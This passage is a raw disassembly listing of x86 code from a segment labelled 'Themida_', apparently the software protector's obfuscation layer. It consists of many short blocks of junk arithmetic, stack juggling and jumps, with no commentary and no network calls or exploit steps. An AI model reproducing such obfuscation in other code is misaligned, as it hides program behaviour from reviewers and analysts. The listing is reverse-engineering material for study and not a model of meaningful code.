[esp] pop esp loc_55266F: ; CODE XREF: Themida_:loc_561A1Ej push ebx push dword ptr [esp] push dword ptr [esp] jmp loc_560762 ; --------------------------------------------------------------------------- loc_55267B: ; CODE XREF: Themida_:00564A7Cj mov [esp], ebx push ebp mov ebp, 396107AFh mov ebx, 72CB72FBh sub ebx, ebp pop ebp or edi, ebx pop ebx not edi xor edi, 0B130EFE1h sub edx, edi mov edi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_55F228 ; --------------------------------------------------------------------------- loc_5526A9: ; CODE XREF: Themida_:005543D1j sub edi, 4 jmp loc_559584 ; --------------------------------------------------------------------------- loc_5526B1: ; CODE XREF: Themida_:00551705j add ebp, edi sub ebp, 746575E4h pop edi jmp loc_556A79 ; --------------------------------------------------------------------------- loc_5526BF: ; CODE XREF: Themida_:0055E24Fj add ecx, 543570B9h sub ecx, ebp sub ecx, 543570B9h jmp loc_56184F ; --------------------------------------------------------------------------- loc_5526D2: ; CODE XREF: Themida_:00562A46j mov dh, 22h add dh, 72h jmp loc_5658F6 ; --------------------------------------------------------------------------- loc_5526DC: ; CODE XREF: Themida_:005547CAj push 656A65CFh jmp loc_55617F ; --------------------------------------------------------------------------- loc_5526E6: ; CODE XREF: Themida_:0055A89Fj push ebp jmp loc_55A3C3 ; --------------------------------------------------------------------------- loc_5526EC: ; CODE XREF: Themida_:00550B46j push ebp jmp loc_563B2F ; --------------------------------------------------------------------------- loc_5526F2: ; CODE XREF: Themida_:005507B3j pop esi pop esi dec edi push edi not dword ptr [esp] mov edi, [esp] add esp, 4 not edi push eax mov eax, 49DF4595h add eax, 2894FEDDh and edi, eax pop eax push ecx jmp loc_553613 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_555185 ; --------------------------------------------------------------------------- loc_55271E: ; CODE XREF: Themida_:0055B001j mov esi, esp jmp loc_560C50 ; --------------------------------------------------------------------------- loc_552725: ; CODE XREF: Themida_:0055BE1Fj mov ecx, 4 push ecx mov ecx, 587A7299h shr ecx, 5 sub ecx, 2DE257Ah dec ecx sub ecx, 905C436Dh add edi, ecx pop ecx add edi, 219A0D89h add edi, ecx push ecx mov ecx, 4AE23760h shr ecx, 8 add ecx, 214F2B52h sub edi, ecx pop ecx push eax push edx mov edx, 138A77C1h push ebp jmp loc_55FD00 ; --------------------------------------------------------------------------- word_55276A dw 2489h ; CODE XREF: Themida_:0055564Bj ; --------------------------------------------------------------------------- and al, 53h mov ebx, 4 add [esp+4], ebx pop ebx pop edi sub esp, 4 mov [esp], edx jmp loc_562621 ; --------------------------------------------------------------------------- mov ax, [esp] push 1434h mov [esp], ebx mov ebx, esp add ebx, 4 push 2513h mov [esp], eax push ebx mov ebx, 4 mov eax, ebx pop ebx sub ebx, eax mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_564E98 ; --------------------------------------------------------------------------- loc_5527C3: ; CODE XREF: Themida_:0055C28Fj mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] push 7470h mov [esp], ebx mov ebx, 4DFD525Ch push edx push edi push 36270C36h pop edi sub edi, 513841D2h push esi mov esi, 7C044F04h xor esi, 57874E49h jmp loc_55D202 ; --------------------------------------------------------------------------- loc_552803: ; CODE XREF: Themida_:00558FDEj add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_55EB80 ; --------------------------------------------------------------------------- loc_552816: ; CODE XREF: Themida_:0055C03Dj push 7443h mov [esp], eax jmp loc_551ED9 ; --------------------------------------------------------------------------- loc_552823: ; CODE XREF: Themida_:00559DA0j mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55282B: ; CODE XREF: Themida_:00556EB6j push ebp push 2 mov ebp, [esp] add esp, 4 jmp loc_565B11 ; --------------------------------------------------------------------------- loc_55283C: ; CODE XREF: Themida_:00563D95j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor esi, [esp] jmp loc_55A305 ; --------------------------------------------------------------------------- loc_552851: ; CODE XREF: Themida_:00564193j sub dword ptr [esp+4], 39035DBEh jmp loc_55D706 ; --------------------------------------------------------------------------- loc_55285E: ; CODE XREF: Themida_:0055966Cj shl eax, 8 push ebx push eax mov eax, 25FB42C6h jmp loc_564BD6 ; --------------------------------------------------------------------------- loc_55286D: ; CODE XREF: Themida_:00554D6Fj sub al, 8Ch add al, bh add al, 8Ch sub al, 73h pop ebx jmp loc_5580AB ; --------------------------------------------------------------------------- loc_55287B: ; CODE XREF: Themida_:00556E48j mov edi, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_5622C6 ; --------------------------------------------------------------------------- loc_55288C: ; CODE XREF: Themida_:00558F67j add [esp+4], edi mov edi, [esp] add esp, 4 sub [esp], eax jmp loc_55956B ; --------------------------------------------------------------------------- loc_55289E: ; CODE XREF: Themida_:00552663j push dword ptr [esp+4] jmp loc_55A19C ; --------------------------------------------------------------------------- loc_5528A7: ; CODE XREF: Themida_:00554F12j neg dh inc dh neg dh add dh, 0D6h sub bh, dh jmp loc_554B6A ; --------------------------------------------------------------------------- loc_5528B7: ; CODE XREF: Themida_:0055539Fj xchg esi, [esp] jmp loc_55BE88 ; --------------------------------------------------------------------------- loc_5528BF: ; CODE XREF: Themida_:0055176Cj mov esi, [esp] jmp loc_558E42 ; --------------------------------------------------------------------------- loc_5528C7: ; CODE XREF: Themida_:0055AC88j xchg eax, [esp] jmp loc_56182D ; --------------------------------------------------------------------------- mov ax, [esp] push 2BDDh mov [esp], edi jmp loc_554A3B ; --------------------------------------------------------------------------- push ecx jmp loc_5506F3 ; --------------------------------------------------------------------------- loc_5528E6: ; CODE XREF: Themida_:005594CCj mov [esp], eax mov eax, 5EAA3069h inc eax add eax, 0FFFFFFFFh push ecx mov ecx, 5EAA306Dh xor eax, ecx pop ecx add ebp, eax jmp loc_55BF81 ; --------------------------------------------------------------------------- mov ecx, [esp] push 4913h mov [esp], esi push 8D1h mov [esp], esp add dword ptr [esp], 4 jmp loc_560706 ; --------------------------------------------------------------------------- loc_552920: ; CODE XREF: Themida_:0056249Dj add ecx, 19473160h jmp loc_5507F2 ; --------------------------------------------------------------------------- loc_55292B: ; CODE XREF: Themida_:00554766j pop esi push 16ECh mov [esp], eax push edi push 795F0565h pop edi xor edi, 7C9364D8h mov eax, edi pop edi inc eax sub eax, 0E38F5899h sub edx, eax pop eax sub edx, 1AF05CEAh sub esi, 506154ABh sub esi, 10826C87h add esi, edx add esi, 10826C87h jmp loc_561A2C ; --------------------------------------------------------------------------- loc_55296C: ; CODE XREF: Themida_:00554C78j add edx, 4 xchg edx, [esp] pop esp jmp loc_563F9E ; --------------------------------------------------------------------------- loc_552978: ; CODE XREF: Themida_:00563E1Dj push ebx mov ebx, esp push esi mov esi, 95D5234h neg esi push edi mov edi, 27BA6316h add esi, edi pop edi push edi mov edi, 580317D1h and edi, 63627DFAh push eax jmp loc_550743 ; --------------------------------------------------------------------------- loc_55299E: ; CODE XREF: Themida_:00555C7Bj mov eax, 0ADE77F7h xor eax, 23E25A74h inc eax jmp loc_55ED83 ; --------------------------------------------------------------------------- loc_5529AE: ; CODE XREF: Themida_:0055DE53j mov edx, [esp] add esp, 4 add al, 32h sub al, bl sub al, 32h push 7281h mov [esp], edx push ebx push edx mov dh, 8Eh mov bh, 88h sub bh, dh pop edx mov dl, bh pop ebx neg dl sub esp, 4 jmp loc_55104C ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp sub esp, 4 jmp loc_563666 ; --------------------------------------------------------------------------- loc_5529F0: ; CODE XREF: Themida_:00562C34j xchg ebx, edx jmp loc_55BAB0 ; --------------------------------------------------------------------------- loc_5529F7: ; CODE XREF: Themida_:0055DFE3j pop edi add ecx, ebp jmp loc_561EF6 ; --------------------------------------------------------------------------- loc_5529FF: ; CODE XREF: Themida_:00552E3Cj push ebp push 86653F8h pop ebp shr ebp, 4 push esi mov esi, 86653Bh sub ebp, esi pop esi add esi, 559C582Eh add esi, ebp sub esi, 559C582Eh mov ebp, [esp] jmp loc_559285 ; --------------------------------------------------------------------------- loc_552A28: ; CODE XREF: Themida_:005552DFj pop dx push ebx mov bl, 40h push dx mov dl, 0EBh jmp loc_558FE3 ; --------------------------------------------------------------------------- loc_552A36: ; CODE XREF: Themida_:00554D9Cj pop edx push ecx jmp loc_554F8F ; --------------------------------------------------------------------------- loc_552A3D: ; CODE XREF: Themida_:0055D622j add edi, 338B1AAAh jmp loc_553519 ; --------------------------------------------------------------------------- loc_552A48: ; CODE XREF: Themida_:00553AE9j mov edx, 1D17744Eh add ecx, edx pop edx jmp loc_5550E9 ; --------------------------------------------------------------------------- loc_552A55: ; CODE XREF: Themida_:00552EEFj pop dword ptr [esp] not ebx jmp loc_554CD5 ; --------------------------------------------------------------------------- loc_552A5F: ; CODE XREF: Themida_:005642D7j mov bh, 85h and dl, bh pop ebx add dl, 0FFh inc dl sub dl, 0A9h sub al, dl jmp loc_5630C3 ; --------------------------------------------------------------------------- loc_552A73: ; CODE XREF: Themida_:00558862j shr edi, 4 sub edi, 23D34AFh mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_555BB4 ; --------------------------------------------------------------------------- loc_552A89: ; CODE XREF: Themida_:005651FFj push ecx mov ecx, 49B4685Dh sub esp, 4 mov [esp], eax mov eax, 2534383Dh add dword ptr [esp+8], 26A43B2Fh jmp loc_555AD8 ; --------------------------------------------------------------------------- loc_552AA7: ; CODE XREF: Themida_:0055DC87j pop ecx sub al, 6Eh jmp loc_55D405 ; --------------------------------------------------------------------------- loc_552AAF: ; CODE XREF: Themida_:00565981j pop esi xchg ebp, [esp] mov esp, [esp] imul cl jmp loc_55CAFB ; --------------------------------------------------------------------------- loc_552ABD: ; CODE XREF: Themida_:005624E9j push dword ptr [esp] pop ebp add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_55FC9E ; --------------------------------------------------------------------------- loc_552AD8: ; CODE XREF: Themida_:00559795j pop ebx mov ch, al mov eax, [esp] jmp loc_5514EC ; --------------------------------------------------------------------------- loc_552AE3: ; CODE XREF: Themida_:0055F83Bj dec eax jmp loc_55CA39 ; --------------------------------------------------------------------------- loc_552AE9: ; CODE XREF: Themida_:0055DC52j mov edi, 598C54DAh sub edi, ebx pop ebx add esi, edi jmp loc_5539F9 ; --------------------------------------------------------------------------- loc_552AF8: ; CODE XREF: Themida_:0055ED8Cj pop ecx add edi, eax pop eax jmp loc_5564C5 ; --------------------------------------------------------------------------- loc_552B01: ; CODE XREF: Themida_:00553DFBj pop eax add ecx, edx mov [ecx], ebp mov ecx, [esp] add esp, 4 pop ebp sub [edx+38h], ebx pop ebx loc_552B14: ; CODE XREF: Themida_:00553446j push 59EFh mov [esp], esi jmp loc_55C5A1 ; --------------------------------------------------------------------------- loc_552B21: ; CODE XREF: Themida_:00557B0Fj push 320Ch mov [esp], esi jmp loc_55F3B1 ; --------------------------------------------------------------------------- loc_552B2E: ; CODE XREF: Themida_:0055C437j mov [edi+20h], esi jmp loc_5601D8 ; --------------------------------------------------------------------------- loc_552B36: ; CODE XREF: Themida_:00563620j add ebx, 4 sub ebx, 4 jmp loc_550619 ; --------------------------------------------------------------------------- loc_552B44: ; CODE XREF: Themida_:005571CDj pop ebx push esi push 6131h jmp loc_55A74E ; --------------------------------------------------------------------------- loc_552B50: ; CODE XREF: Themida_:00554E56j add ecx, edi pop edi push esi mov esi, 4 sub ecx, 46D856C2h jmp loc_55E792 ; --------------------------------------------------------------------------- loc_552B64: ; CODE XREF: Themida_:0055F860j add edi, eax pop eax add esi, 324D7944h add esi, edi jmp loc_55519A ; --------------------------------------------------------------------------- loc_552B74: ; CODE XREF: Themida_:005568E7j push 2BC6h jmp loc_55AD96 ; --------------------------------------------------------------------------- loc_552B7E: ; CODE XREF: Themida_:00561E05j add esp, 4 jmp loc_565B4F ; --------------------------------------------------------------------------- loc_552B89: ; CODE XREF: Themida_:00551E04j push ebx jmp loc_55C94D ; --------------------------------------------------------------------------- loc_552B8F: ; CODE XREF: Themida_:0055E3CDj add ecx, 0C6540026h sub esi, 77E23ABDh sub esi, ecx add esi, 77E23ABDh jmp loc_56523C ; --------------------------------------------------------------------------- loc_552BA8: ; CODE XREF: Themida_:00551339j xor edx, ecx pop ecx sub edi, 248A3DACh push esi jmp loc_558D7A ; --------------------------------------------------------------------------- loc_552BB7: ; CODE XREF: Themida_:005571F2j pop edx mov dl, al pop eax jmp loc_55BB7F ; --------------------------------------------------------------------------- loc_552BC0: ; CODE XREF: Themida_:00556F25j push ecx mov ecx, 4E316E6h and ecx, 607F108Eh jmp loc_55C95D ; --------------------------------------------------------------------------- loc_552BD1: ; CODE XREF: Themida_:00558B9Ej mov ebx, [esp] add esp, 4 jmp loc_556129 ; --------------------------------------------------------------------------- loc_552BDC: ; CODE XREF: Themida_:00551B2Cj add esp, 4 add esi, eax push dword ptr [esp] pop eax jmp loc_559968 ; --------------------------------------------------------------------------- loc_552BEA: ; CODE XREF: Themida_:00562A38j mov ecx, 600F5C72h jmp loc_5524D0 ; --------------------------------------------------------------------------- loc_552BF4: ; CODE XREF: Themida_:00564FCEj mov ecx, 4 jmp loc_5645A6 ; --------------------------------------------------------------------------- loc_552BFE: ; CODE XREF: Themida_:00564E16j sub dh, 0E5h jmp loc_550DF6 ; --------------------------------------------------------------------------- lodsd jmp loc_559408 ; --------------------------------------------------------------------------- loc_552C0C: ; CODE XREF: Themida_:00553BE2j shr ebp, 5 jmp loc_561959 ; --------------------------------------------------------------------------- loc_552C14: ; CODE XREF: Themida_:00550D65j mov ecx, [esp] jmp loc_55EB4C ; --------------------------------------------------------------------------- loc_552C1C: ; CODE XREF: Themida_:00553A7Aj xchg ecx, ebp add ebp, 79756F6Ch xor ebp, edi xor edi, ebp xor ebp, edi not edi xor ebp, edi xor edi, ebp xor ebp, edi sub esp, 4 mov [esp], ebx mov ebx, 169705F0h add ebp, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebx, [esp] add esp, 4 pop ebp and eax, ebx jmp loc_560256 ; --------------------------------------------------------------------------- loc_552C5C: ; CODE XREF: Themida_:00552CEBj sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_557079 ; --------------------------------------------------------------------------- loc_552C6A: ; CODE XREF: Themida_:005563B9j mov esi, 74E76EB3h neg esi jmp loc_5517A0 ; --------------------------------------------------------------------------- loc_552C76: ; CODE XREF: Themida_:0055C5BDj add edx, 33F71A71h pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_562116 ; --------------------------------------------------------------------------- loc_552C8B: ; CODE XREF: Themida_:0056084Fj and eax, 73783B49h shr eax, 8 neg eax sub eax, 0D2FD1F09h sub esp, 4 mov [esp], edx jmp loc_5635C5 ; --------------------------------------------------------------------------- loc_552CA8: ; CODE XREF: Themida_:00562707j mov edi, [esp] add esp, 4 jmp loc_55EA71 ; --------------------------------------------------------------------------- loc_552CB3: ; CODE XREF: Themida_:0056386Bj sub esi, 59E52743h push esi jmp loc_5546F4 ; --------------------------------------------------------------------------- loc_552CBF: ; CODE XREF: Themida_:00556464j mov [esp], bx push eax jmp loc_560441 ; --------------------------------------------------------------------------- loc_552CC9: ; CODE XREF: Themida_:0055D17Aj push edx sub esp, 4 mov [esp], ebx mov bh, cl mov dl, bh pop ebx mov bh, dl pop edx push edx mov dh, bh jmp loc_55168A ; --------------------------------------------------------------------------- loc_552CE3: ; CODE XREF: Themida_:0055571Bj mov ecx, esp add ecx, 4 jmp loc_552C5C ; --------------------------------------------------------------------------- loc_552CF0: ; CODE XREF: Themida_:00558A59j mov edx, 76E16360h push ebp jmp loc_563E8F ; --------------------------------------------------------------------------- loc_552CFB: ; CODE XREF: Themida_:00564FBDj pop edi pop dword ptr [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebx jmp loc_55A7A6 ; --------------------------------------------------------------------------- loc_552D11: ; CODE XREF: Themida_:005609EBj xor bx, ax movzx eax, ax push small 5FFFh mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_552D24: ; CODE XREF: Themida_:0055F279j xor eax, esi mov esi, [esp] push ebp jmp loc_558083 ; --------------------------------------------------------------------------- loc_552D2F: ; CODE XREF: Themida_:00558292j add esp, 4 or eax, 63633E0Ch sub esp, 4 mov [esp], edx jmp loc_563BF3 ; --------------------------------------------------------------------------- loc_552D42: ; CODE XREF: Themida_:00554FB9j sub ebx, 476B7169h add ebx, esi add ebx, 476B7169h jmp loc_5514BF ; --------------------------------------------------------------------------- loc_552D55: ; CODE XREF: Themida_:00560CF3j add edi, esi pop esi push esi push ebp mov ebp, 0AD651B2h or ebp, 1FC45E28h and ebp, 27956F6Ah add ebp, 3B8E14A1h jmp loc_55AC06 ; --------------------------------------------------------------------------- loc_552D76: ; CODE XREF: Themida_:00561267j xor eax, edx pop edx mov ebp, eax pop eax add esi, ebp push dword ptr [esp] pop ebp add esp, 4 push edx mov edx, 6FFD5B91h jmp loc_5532DD ; --------------------------------------------------------------------------- loc_552D93: ; CODE XREF: Themida_:005553C1j push esi push 3A872B56h jmp loc_559656 ; --------------------------------------------------------------------------- loc_552D9E: ; CODE XREF: Themida_:00565416j push ecx push ebp mov ebp, 4 mov ecx, ebp pop ebp sub eax, 6EA02EEh add eax, ecx sub esp, 4 jmp loc_56584D ; --------------------------------------------------------------------------- loc_552DB7: ; CODE XREF: Themida_:00550EA2j jmp loc_550420 ; --------------------------------------------------------------------------- loc_552DBC: ; CODE XREF: Themida_:00559E1Fj sub esi, ebp add esi, 56625B3h sub esi, 0F7A343Bh pop ebp mov edx, [esp] push esi mov esi, esp jmp loc_55093D ; --------------------------------------------------------------------------- loc_552DD6: ; CODE XREF: Themida_:00563D39j add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_552DE1: ; CODE XREF: Themida_:0055F41Ej add esp, 4 push ebx mov ebx, 4 add edi, ebx pop ebx push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_55AEF2 ; --------------------------------------------------------------------------- loc_552DFD: ; CODE XREF: Themida_:005560F3j mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_55A0A3 ; --------------------------------------------------------------------------- loc_552E0D: ; CODE XREF: Themida_:0055C8C2j mov [esp], ecx mov ecx, 4BEA415Bh add ecx, 8880E80h push 0 sub [esp], ecx jmp loc_559E7D ; --------------------------------------------------------------------------- loc_552E28: ; CODE XREF: Themida_:0055F6C0j mov [esp], ebx mov ebx, 68D2324Ah push ebx pop ecx jmp loc_557FC9 ; --------------------------------------------------------------------------- loc_552E37: ; CODE XREF: Themida_:00560BB1j add dword ptr [esp], 4 pop esi jmp loc_5529FF ; --------------------------------------------------------------------------- loc_552E41: ; CODE XREF: Themida_:00563063j pop ebx push small 32CCh mov [esp], dx jmp loc_55772D ; --------------------------------------------------------------------------- loc_552E4F: ; CODE XREF: Themida_:0055A4C7j mov ebp, [esp] add esp, 4 push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] jmp loc_564893 ; --------------------------------------------------------------------------- loc_552E69: ; CODE XREF: Themida_:005603D4j or cl, 68h add cl, 84h add al, cl jmp loc_55C3AD ; --------------------------------------------------------------------------- loc_552E76: ; CODE XREF: Themida_:00559041j add eax, ecx pop ecx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi jmp loc_55C1E1 ; --------------------------------------------------------------------------- loc_552E95: ; CODE XREF: Themida_:0055A175j sub edi, 4 xchg edi, [esp] jmp loc_5583FB ; --------------------------------------------------------------------------- loc_552EA0: ; CODE XREF: Themida_:00561872j mov al, 0C7h jmp loc_557833 ; --------------------------------------------------------------------------- loc_552EA7: ; CODE XREF: Themida_:0055A5EAj mov ecx, 353D39DEh xor ecx, 5B3F5D0Dh jmp loc_561015 ; --------------------------------------------------------------------------- loc_552EB7: ; CODE XREF: Themida_:0055C665j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_558481 ; --------------------------------------------------------------------------- loc_552ECA: ; CODE XREF: Themida_:0055ACD0j xchg edi, [esp] jmp loc_558AAF ; --------------------------------------------------------------------------- loc_552ED2: ; CODE XREF: Themida_:00564B62j shl edx, 1 sub edx, 21694FE0h jmp loc_5602C6 ; --------------------------------------------------------------------------- loc_552EDF: ; CODE XREF: Themida_:0055AEDDj sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_552A55 ; --------------------------------------------------------------------------- loc_552EF4: ; CODE XREF: Themida_:00552154j mov ecx, 77D57B7Ch add eax, ecx mov ecx, [esp] add esp, 4 push 79F3h mov [esp], edi jmp loc_55D795 ; --------------------------------------------------------------------------- loc_552F11: ; CODE XREF: Themida_:0055BAC6j add ebx, ebp jmp loc_5634AE ; --------------------------------------------------------------------------- loc_552F18: ; CODE XREF: Themida_:0055C17Ej add esp, 4 push edi mov edi, 3B365283h sub ecx, 6C82041Dh add ecx, edi sub esp, 4 mov [esp], eax mov eax, 6C82041Dh add ecx, eax pop eax pop edi push edi mov edi, esp jmp loc_55C83B ; --------------------------------------------------------------------------- loc_552F43: ; CODE XREF: Themida_:00556133j sub edx, 5BA439C0h push edi mov edi, 5BF4786Eh sub esp, 4 mov [esp], eax jmp loc_55AEFD ; --------------------------------------------------------------------------- loc_552F5D: ; CODE XREF: Themida_:00559E33j mov dh, 7Ch push eax mov al, 0E8h sub al, 85h jmp loc_55A7F7 ; --------------------------------------------------------------------------- loc_552F69: ; CODE XREF: Themida_:00558262j xor eax, [esp] mov esp, [esp] mov edx, [esp] push 5E6Eh mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_55251E ; --------------------------------------------------------------------------- loc_552F9E: ; CODE XREF: Themida_:00565894j sub ebx, 126B0B51h add ebx, ebp sub esp, 4 jmp loc_55C744 ; --------------------------------------------------------------------------- loc_552FB1: ; CODE XREF: Themida_:005657A3j push eax jmp loc_556BBB ; --------------------------------------------------------------------------- loc_552FB7: ; CODE XREF: Themida_:0055D28Bj shr edi, 6 push ebp mov ebp, 5FB765B6h add edi, 40A73257h add edi, ebp sub edi, 40A73257h pop ebp neg edi push 0 push edi mov edi, 659963FDh add [esp+4], edi jmp loc_5540AA ; --------------------------------------------------------------------------- loc_552FE5: ; CODE XREF: Themida_:0055EDE9j push 2D2Eh mov [esp], edx xchg eax, [esp] push eax not dword ptr [esp] pop eax xchg eax, [esp] push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push 416Eh mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_550827 ; --------------------------------------------------------------------------- mov eax, [esp] push 6FF7h mov [esp], ecx push esp jmp loc_55E0FE ; --------------------------------------------------------------------------- loc_55302B: ; CODE XREF: Themida_:00556902j mov [esp], eax push 7A93h mov [esp], ecx jmp loc_56253B ; --------------------------------------------------------------------------- loc_55303B: ; CODE XREF: Themida_:0055F29Dj xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 213632ADh inc ecx or ecx, 2C8A47DEh and ecx, 7E593DF1h shl ecx, 5 or ecx, 4A0A43EAh push edx mov edx, 2E88048Dh not edx neg edx xor edx, 30223755h and edx, 2DD0471Eh jmp loc_5511BB ; --------------------------------------------------------------------------- loc_553078: ; CODE XREF: Themida_:0055D7C6j add esp, 4 jmp loc_55E77D ; --------------------------------------------------------------------------- loc_553083: ; CODE XREF: Themida_:00551585j add esp, 4 and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax jmp loc_55E1D0 ; --------------------------------------------------------------------------- loc_55309A: ; CODE XREF: Themida_:00556DC7j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55309F: ; CODE XREF: Themida_:005543EAj pop ecx push ebx jmp loc_5622B3 ; --------------------------------------------------------------------------- loc_5530A6: ; CODE XREF: Themida_:0055E516j mov [esp], dx jmp loc_564871 ; --------------------------------------------------------------------------- loc_5530AF: ; CODE XREF: Themida_:00555294j shr esi, 6 xor esi, 422A1E2Ch add ebx, esi pop esi add ebx, eax jmp loc_555E87 ; --------------------------------------------------------------------------- loc_5530C2: ; CODE XREF: Themida_:00565A28j pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] loc_5530CF: ; CODE XREF: Themida_:0055D147j push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebx sub dword ptr [esp], 892439h pop eax push esi mov esi, esp add esi, 4 jmp loc_55D673 ; --------------------------------------------------------------------------- loc_5530FE: ; CODE XREF: Themida_:0055A1A2j add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_561223 ; --------------------------------------------------------------------------- loc_553117: ; CODE XREF: Themida_:0055E9D0j push eax jmp loc_564C6D ; --------------------------------------------------------------------------- loc_55311D: ; CODE XREF: Themida_:00557561j add ebx, 2E977E3Bh add ebx, eax sub ebx, 2E977E3Bh pop eax sub ebx, 0D371B17h pop eax jmp loc_55762A ; --------------------------------------------------------------------------- loc_553138: ; CODE XREF: Themida_:005573B0j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp popa popf retn ; --------------------------------------------------------------------------- jmp loc_560632 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5548AD ; --------------------------------------------------------------------------- loc_553151: ; CODE XREF: Themida_:00562416j add eax, edi pop edi push eax xor dword ptr [esp], 1A427B0Ch pop edi xor edi, 1A427B0Ch pop eax push ebx jmp loc_55B981 ; --------------------------------------------------------------------------- loc_55316A: ; CODE XREF: Themida_:0056027Fj push dword ptr [esp] pop ecx jmp loc_55C71F ; --------------------------------------------------------------------------- loc_553173: ; CODE XREF: Themida_:0055BD29j mov ebp, [esp] add esp, 4 mov edx, [esp] add esp, 4 xor [esp+4], edi jmp loc_562A62 ; --------------------------------------------------------------------------- loc_55318E: ; CODE XREF: Themida_:0055D334j sub esp, 4 jmp loc_551A4A ; --------------------------------------------------------------------------- loc_553196: ; CODE XREF: Themida_:00556BEBj push 23CBh jmp loc_564AD7 ; --------------------------------------------------------------------------- loc_5531A0: ; CODE XREF: Themida_:005603AFj not dword ptr [esp] jmp loc_55796A ; --------------------------------------------------------------------------- loc_5531A8: ; CODE XREF: Themida_:0055228Cj sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_555F71 ; --------------------------------------------------------------------------- loc_5531C1: ; CODE XREF: Themida_:0056139Ej mov [esp], esi jmp loc_556469 ; --------------------------------------------------------------------------- loc_5531C9: ; CODE XREF: Themida_:0055E527j xchg esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 jmp loc_559898 ; --------------------------------------------------------------------------- loc_5531DC: ; CODE XREF: Themida_:005641B5j mov ecx, esp add ecx, 4 jmp loc_550AEC ; --------------------------------------------------------------------------- loc_5531E9: ; CODE XREF: Themida_:0055C594j push 2538h push 7ABAh jmp loc_556D91 ; --------------------------------------------------------------------------- loc_5531F8: ; CODE XREF: Themida_:0055AF57j mov edx, 1A160AC0h add edx, edi pop edi jmp loc_55FE07 ; --------------------------------------------------------------------------- loc_553205: ; CODE XREF: Themida_:0055C00Ej neg ebp jmp loc_55F629 ; --------------------------------------------------------------------------- loc_55320C: ; CODE XREF: Themida_:00555CA2j sub ebp, 2BFC64B7h jmp loc_55FAFB ; --------------------------------------------------------------------------- loc_553217: ; CODE XREF: Themida_:00558609j add eax, edi jmp loc_56113D ; --------------------------------------------------------------------------- loc_55321E: ; CODE XREF: Themida_:0055A852j pop ecx push ecx mov ecx, 4 add esi, ecx jmp loc_553F88 ; --------------------------------------------------------------------------- loc_55322C: ; CODE XREF: Themida_:005522C2j mov eax, 77F96C62h sub eax, 1F94087Ch not eax and eax, 41992B0Ch inc eax sub eax, 0EDEB943Fh push 5A20h mov [esp], eax mov ebp, [esp] add esp, 4 jmp loc_550871 ; --------------------------------------------------------------------------- loc_553259: ; CODE XREF: Themida_:00559291j mov [esp], eax push ebx jmp loc_55F554 ; --------------------------------------------------------------------------- loc_553262: ; CODE XREF: Themida_:005571DCj sub dl, 0E2h jmp loc_5570C0 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_556D27 ; --------------------------------------------------------------------------- loc_553273: ; CODE XREF: Themida_:00553BB4j add esp, 4 add eax, 4 sub esp, 4 mov [esp], edx push ebp mov ebp, 7EE03835h not ebp and ebp, 1F52370Fh jmp loc_559E54 ; --------------------------------------------------------------------------- loc_553294: ; CODE XREF: Themida_:00559DCAj sub ecx, 1 push 39C4h mov [esp], ebp push edx mov edx, 0EF933ECh jmp loc_55A045 ; --------------------------------------------------------------------------- loc_5532AD: ; CODE XREF: Themida_:005517D7j sub eax, ebx pop ebx sub eax, 4D1D0E44h jmp loc_564AE1 ; --------------------------------------------------------------------------- loc_5532BA: ; CODE XREF: Themida_:00561109j mov ebx, 35F55DDFh push ebx jmp loc_55D977 ; --------------------------------------------------------------------------- loc_5532C5: ; CODE XREF: Themida_:00556AEFj pop edi add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5532DD: ; CODE XREF: Themida_:00552D8Ej xor esi, edx pop edx push esi jmp loc_55122B ; --------------------------------------------------------------------------- loc_5532E6: ; CODE XREF: Themida_:0055F7BCj push edi mov edi, 1EAA2FC8h shr edi, 4 and edi, 253241Fh and edi, 48461C94h jmp loc_5548CD ; --------------------------------------------------------------------------- loc_553300: ; CODE XREF: Themida_:005629FFj pop esp jmp loc_56242F ; 